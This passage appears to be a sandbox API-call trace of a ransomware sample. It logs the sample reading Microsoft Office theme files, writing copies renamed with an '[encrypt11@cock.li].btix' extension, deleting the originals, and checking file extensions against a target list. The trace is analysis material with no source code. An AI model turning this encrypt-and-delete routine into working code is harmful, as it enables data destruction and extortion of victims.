(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.671] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.671] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.672] GetLastError () returned 0x0 [0137.672] ReadFile (in: hFile=0x534, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x51cbe, lpOverlapped=0x0) returned 1 [0137.848] WriteFile (in: hFile=0x4c4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x51cc0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x51cc0, lpOverlapped=0x0) returned 1 [0137.853] ReadFile (in: hFile=0x534, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.853] WriteFile (in: hFile=0x4c4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1 [0137.853] SetEndOfFile (hFile=0x4c4) returned 1 [0137.876] CloseHandle (hObject=0x4c4) returned 1 [0137.881] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.881] SetEndOfFile (hFile=0x534) returned 1 [0137.931] CloseHandle (hObject=0x534) returned 1 [0137.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 1 [0137.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0137.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0137.934] lstrlenW (lpString=".doc") returned 4 [0137.934] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.934] lstrlenW (lpString=".docx") returned 5 [0137.934] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.934] lstrlenW (lpString=".pdf") returned 4 [0137.934] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.934] lstrlenW (lpString=".xls") returned 4 [0137.934] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.934] lstrlenW (lpString=".xlsx") returned 5 [0137.934] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.934] lstrlenW (lpString=".ppt") returned 4 [0137.934] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0137.934] lstrlenW (lpString=".zip") returned 4 [0137.934] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.934] lstrlenW (lpString=".rar") returned 4 [0137.934] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.934] lstrlenW (lpString=".bz2") returned 4 [0137.934] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.935] lstrlenW (lpString=".7z") returned 3 [0137.935] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0137.935] lstrlenW (lpString=".dbf") returned 4 [0137.935] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0137.935] lstrlenW (lpString=".1cd") returned 4 [0137.935] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0137.935] lstrlenW (lpString=".jpg") returned 4 [0137.935] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0137.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0137.935] lstrlenW (lpString=".doc") returned 4 [0137.935] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.935] lstrlenW (lpString=".docx") returned 5 [0137.935] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.935] lstrlenW (lpString=".pdf") returned 4 [0137.935] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.935] lstrlenW (lpString=".xls") returned 4 [0137.935] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.935] lstrlenW (lpString=".xlsx") returned 5 [0137.935] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.935] lstrlenW (lpString=".ppt") returned 4 [0137.935] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0137.935] lstrlenW (lpString=".zip") returned 4 [0137.935] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.935] lstrlenW (lpString=".rar") returned 4 [0137.935] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.935] lstrlenW (lpString=".bz2") returned 4 [0137.935] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.935] lstrlenW (lpString=".7z") returned 3 [0137.935] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0137.935] lstrlenW (lpString=".dbf") returned 4 [0137.936] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0137.936] lstrlenW (lpString=".1cd") returned 4 [0137.936] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0137.936] lstrlenW (lpString=".jpg") returned 4 [0137.936] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.936] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0137.936] lstrlenW (lpString="Glow Edge.eftx") returned 14 [0137.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.939] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=54347) returned 1 [0137.939] CloseHandle (hObject=0x534) returned 1 [0137.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 0x220 [0137.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.939] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.939] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0137.940] GetLastError () returned 0x0 [0137.940] ReadFile (in: hFile=0x534, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0xd44b, lpOverlapped=0x0) returned 1 [0137.964] WriteFile (in: hFile=0x3bc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xd450, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xd450, lpOverlapped=0x0) returned 1 [0138.036] ReadFile (in: hFile=0x534, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.037] WriteFile (in: hFile=0x3bc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xf0, lpOverlapped=0x0) returned 1 [0138.037] SetEndOfFile (hFile=0x3bc) returned 1 [0138.037] CloseHandle (hObject=0x3bc) returned 1 [0138.037] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.037] SetEndOfFile (hFile=0x534) returned 1 [0138.044] CloseHandle (hObject=0x534) returned 1 [0138.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0138.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 1 [0139.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0139.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0139.287] lstrlenW (lpString=".doc") returned 4 [0139.287] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0139.287] lstrlenW (lpString=".docx") returned 5 [0139.287] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0139.287] lstrlenW (lpString=".pdf") returned 4 [0139.288] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0139.288] lstrlenW (lpString=".xls") returned 4 [0139.288] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0139.288] lstrlenW (lpString=".xlsx") returned 5 [0139.288] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0139.288] lstrlenW (lpString=".ppt") returned 4 [0139.288] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0139.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0139.288] lstrlenW (lpString=".zip") returned 4 [0139.288] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0139.288] lstrlenW (lpString=".rar") returned 4 [0139.288] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0139.288] lstrlenW (lpString=".bz2") returned 4 [0139.288] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0139.288] lstrlenW (lpString=".7z") returned 3 [0139.288] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0139.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0139.288] lstrlenW (lpString=".dbf") returned 4 [0139.288] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0139.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0139.288] lstrlenW (lpString=".1cd") returned 4 [0139.288] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0139.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0139.288] lstrlenW (lpString=".jpg") returned 4 [0139.288] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0139.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0139.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0139.289] lstrlenW (lpString=".doc") returned 4 [0139.289] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0139.289] lstrlenW (lpString=".docx") returned 5 [0139.289] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0139.289] lstrlenW (lpString=".pdf") returned 4 [0139.289] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0139.289] lstrlenW (lpString=".xls") returned 4 [0139.289] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0139.289] lstrlenW (lpString=".xlsx") returned 5 [0139.289] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0139.289] lstrlenW (lpString=".ppt") returned 4 [0139.289] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0139.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0139.289] lstrlenW (lpString=".zip") returned 4 [0139.289] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0139.289] lstrlenW (lpString=".rar") returned 4 [0139.289] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0139.289] lstrlenW (lpString=".bz2") returned 4 [0139.289] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0139.289] lstrlenW (lpString=".7z") returned 3 [0139.289] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0139.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0139.290] lstrlenW (lpString=".dbf") returned 4 [0139.290] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0139.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0139.290] lstrlenW (lpString=".1cd") returned 4 [0139.290] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0139.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0139.290] lstrlenW (lpString=".jpg") returned 4 [0139.290] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0139.290] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0139.290] lstrlenW (lpString="Milk Glass.eftx") returned 15 [0139.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0139.784] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=46403) returned 1 [0139.784] CloseHandle (hObject=0x430) returned 1 [0139.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 0x220 [0139.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0139.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0139.785] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.785] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0139.788] GetLastError () returned 0x0 [0139.788] ReadFile (in: hFile=0x430, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0xb543, lpOverlapped=0x0) returned 1 [0139.794] WriteFile (in: hFile=0x54c, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xb550, lpOverlapped=0x0) returned 1 [0139.796] ReadFile (in: hFile=0x430, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0139.796] WriteFile (in: hFile=0x54c, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xf2, lpOverlapped=0x0) returned 1 [0139.796] SetEndOfFile (hFile=0x54c) returned 1 [0139.796] CloseHandle (hObject=0x54c) returned 1 [0139.796] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.796] SetEndOfFile (hFile=0x430) returned 1 [0139.799] CloseHandle (hObject=0x430) returned 1 [0139.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0139.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 1 [0139.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0139.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0139.800] lstrlenW (lpString=".doc") returned 4 [0139.800] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0139.800] lstrlenW (lpString=".docx") returned 5 [0139.800] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0139.800] lstrlenW (lpString=".pdf") returned 4 [0139.801] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0139.801] lstrlenW (lpString=".xls") returned 4 [0139.801] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0139.801] lstrlenW (lpString=".xlsx") returned 5 [0139.801] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0139.801] lstrlenW (lpString=".ppt") returned 4 [0139.801] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0139.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0139.801] lstrlenW (lpString=".zip") returned 4 [0139.801] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0139.801] lstrlenW (lpString=".rar") returned 4 [0139.810] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0139.810] lstrlenW (lpString=".bz2") returned 4 [0139.810] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0139.810] lstrlenW (lpString=".7z") returned 3 [0139.810] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0139.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0139.810] lstrlenW (lpString=".dbf") returned 4 [0139.810] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0139.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0139.810] lstrlenW (lpString=".1cd") returned 4 [0139.810] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0139.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0139.810] lstrlenW (lpString=".jpg") returned 4 [0139.810] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0139.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0139.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0139.810] lstrlenW (lpString=".doc") returned 4 [0139.810] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0139.810] lstrlenW (lpString=".docx") returned 5 [0139.810] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0139.811] lstrlenW (lpString=".pdf") returned 4 [0139.811] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0139.811] lstrlenW (lpString=".xls") returned 4 [0139.811] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0139.811] lstrlenW (lpString=".xlsx") returned 5 [0139.811] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0139.811] lstrlenW (lpString=".ppt") returned 4 [0139.811] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0139.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0139.811] lstrlenW (lpString=".zip") returned 4 [0139.811] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0139.811] lstrlenW (lpString=".rar") returned 4 [0139.811] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0139.811] lstrlenW (lpString=".bz2") returned 4 [0139.811] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0139.811] lstrlenW (lpString=".7z") returned 3 [0139.811] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0139.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0139.811] lstrlenW (lpString=".dbf") returned 4 [0139.811] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0139.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0139.811] lstrlenW (lpString=".1cd") returned 4 [0139.811] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0139.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0139.811] lstrlenW (lpString=".jpg") returned 4 [0139.811] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0139.811] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0139.812] lstrlenW (lpString="Subtle Solids.eftx") returned 18 [0139.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0139.821] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=45435) returned 1 [0139.821] CloseHandle (hObject=0x42c) returned 1 [0139.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 0x220 [0139.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0139.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0139.822] SetFilePointerEx (in: 